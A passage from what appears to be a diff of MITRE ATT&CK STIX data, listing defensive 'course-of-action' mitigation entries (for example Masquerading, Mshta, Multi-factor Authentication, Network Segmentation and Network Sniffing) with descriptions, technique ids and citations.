"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Local Job Scheduling Mitigation", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.", + "x_mitre_version": "1.0", + "modified": "2019-08-17T12:10:09.748Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1168", + "external_id": "T1168", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Login Item Mitigation", + "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:49:43.716Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1162", + "external_id": "T1162", + "source_name": "mitre-attack" + }, + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", + "url": "https://support.apple.com/en-us/HT204005" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Logon Scripts Mitigation", + "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.905Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1037", + "url": "https://attack.mitre.org/mitigations/T1037" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Man in the Browser Mitigation", + "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:12:34.303Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1185", + "external_id": "T1185", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Masquerading Mitigation", + "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.740Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1036", + "url": "https://attack.mitre.org/mitigations/T1036" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Modify Existing Service Mitigation", + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.126Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1031", + "url": "https://attack.mitre.org/mitigations/T1031" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Modify Registry Mitigation", + "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.884Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1112", + "url": "https://attack.mitre.org/mitigations/T1112" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Mshta Mitigation", + "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:14:01.112Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1170", + "url": "https://attack.mitre.org/mitigations/T1170" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Multi-Stage Channels Mitigation", + "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:14:24.192Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1104", + "external_id": "T1104", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2019-06-10T20:53:36.319Z", + "id": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Multi-factor Authentication", + "created": "2019-06-10T20:53:36.319Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1032", + "external_id": "M1032", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Multi-hop Proxy Mitigation", + "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:14:52.662Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1188", + "external_id": "T1188", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Multiband Communication Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. 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(Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:15:39.400Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1079", + "external_id": "T1079", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. 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(Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:21.492Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1096", + "url": "https://attack.mitre.org/mitigations/T1096" + }, + { + "source_name": "Microsoft ADS Mar 2014", + "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/" + }, + { + "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore", + "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", + "source_name": "Symantec ADS May 2009" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + }, + { + "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks", + "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.", + "source_name": "InsiderThreat NTFS EA Oct 2017" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Netsh Helper DLL Mitigation", + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.652Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1128", + "url": "https://attack.mitre.org/mitigations/T1128" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Network Denial of Service Mitigation", + "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:16:48.088Z", + "created": "2019-04-19T18:46:47.964Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1498", + "external_id": "T1498", + "source_name": "mitre-attack" + }, + { + "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--654addf1-47ab-410a-8578-e1a0dc2a49b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Network Intrusion Prevention", + "description": "Use intrusion detection signatures to block traffic at network boundaries.", + "x_mitre_version": "1.0", + "modified": "2019-06-10T20:46:02.263Z", + "id": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created": "2019-06-10T20:46:02.263Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1031", + "external_id": "M1031", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "id": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.", + "x_mitre_version": "1.1", + "modified": "2020-05-14T13:05:39.500Z", + "created": "2019-06-10T20:41:03.271Z", + "name": "Network Segmentation", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1030", + "external_id": "M1030", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Network Service Scanning Mitigation", + "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.750Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1046", + "url": "https://attack.mitre.org/mitigations/T1046" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Network Share Connection Removal Mitigation", + "description": "Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.119Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1126", + "url": "https://attack.mitre.org/mitigations/T1126" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Network Share Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.867Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1135", + "url": "https://attack.mitre.org/mitigations/T1135" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Network Sniffing Mitigation", + "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.909Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1040", + "url": "https://attack.mitre.org/mitigations/T1040" + }, + { + "url": 